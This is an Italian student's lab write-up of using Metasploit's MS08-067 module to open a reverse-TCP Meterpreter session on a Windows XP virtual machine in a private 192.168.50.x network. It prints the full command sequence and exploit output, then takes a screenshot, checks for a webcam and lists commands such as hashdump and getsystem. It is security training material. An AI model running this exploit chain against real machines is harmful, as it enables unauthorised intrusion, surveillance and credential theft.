

Conseigna S7-L3

Hacking windows XP

Traccia

Oggi viene richiesto di ottenere una sessione di Meterpreter sul target Windows XP sfruttando con Metasploit la vulnerabilità MS08-067.

Una volta ottenuta la sessione, si dovrà:

- Recuperare uno screenshot tramite la sessione Meterpreter.
- Individuare la presenza o meno di Webcam sulla macchina Windows XP (opzionale).

Avvio del programma

Una volta fatto avviare metasploit, ho cercato per l'exploit ms08-067 per windows XP

```
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session
```

```
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready ...
```

```
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and ...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
```

```
=[ metasploit v6.3.50-dev ]
+ -- --=[ 2384 exploits - 1235 auxiliary - 417 post ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > search ms08-067
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/windows/smb/ms08_067_netapi`

Configurazione rhosts e payload

Selezionato l'exploit ho inserito
tutte le richieste per il payload,
utilizzando quello di default.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

```
msf6 exploit(windows/smb/ms08_067_netapi) > payload windows/meterpreter/reverse_tcp

Payload options (windows/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.50.100	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit 0

Exploit target:
```

Id	Name
0	Automatic Targeting

```
msf6 exploit(windows/smb/ms08_067_netapi) > info 0
View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.50.200
RHOSTS => 192.168.50.200
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
```

Name	Current Setting	Required	Description
RHOSTS	192.168.50.200	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

```
msf6 exploit(windows/smb/ms08_067_netapi) > payload windows/meterpreter/reverse_tcp

Payload options (windows/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.50.100	yes	The listen address (an interface may be specified)

Avvio dell'exploit

Una volta configurato, ho fatto partire l'exploit. Con il comando ifconfig ho avuto la possibilità di confermare l'avvenuta connessione in modo corretto.

Exploit target:

Id	Name
--	---
0	Automatic Targeting

View the full module info with the `info`, or `info -d` command.

`msf6 exploit(windows/smb/ms08_067_netapi) > exploit`

```
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.200:445 - Automatically detecting the target ...
[*] 192.168.50.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.200:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.200:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.200
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.200:1032) at 2024-01-17 13:57:41 +0100
```

`meterpreter > ifconfig`

Interface 1

```
Name       : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU        : 1520
IPv4 Address : 127.0.0.1
```

Interface 2

```
Name       : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit  di pianificazione pacchetti
Hardware MAC : 08:00:27:26:b9:09
MTU        : 1500
IPv4 Address : 192.168.50.200
IPv4 Netmask : 255.255.255.0
```

`meterpreter > █`

Rintracciamento webcam

Provando ad inserire il comando per la webcam, ricevo un errore con scritto «No webcams were found». Questo perché non sono presenti webcam installate sul sistema di Windows XP

Stdapi: Webcam Commands

Command	Description
record_mic	Record audio from the default microphone for X seconds
webcam_chat	Start a video chat
webcam_list	List webcams
webcam_snap	Take a snapshot from the specified webcam
webcam_stream	Play a video stream from the specified webcam

Stdapi: Audio Output Commands

Command	Description
play	play a waveform audio file (.wav) on the target system

Priv: Elevate Commands

Command	Description
getsystem	Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

Command	Description
hashdump	Dumps the contents of the SAM database

Priv: Timestamp Commands

Command	Description
timestamp	Manipulate file MACE attributes

```
meterpreter > screenshot
Screenshot saved to: /home/kali/wGsw0bxV.jpeg
meterpreter > webcam_snap
[-] Target does not have a webcam
meterpreter > webcam_list
[-] No webcams were found
meterpreter > █
```



Fine della presentazione

Amedeo Natalizi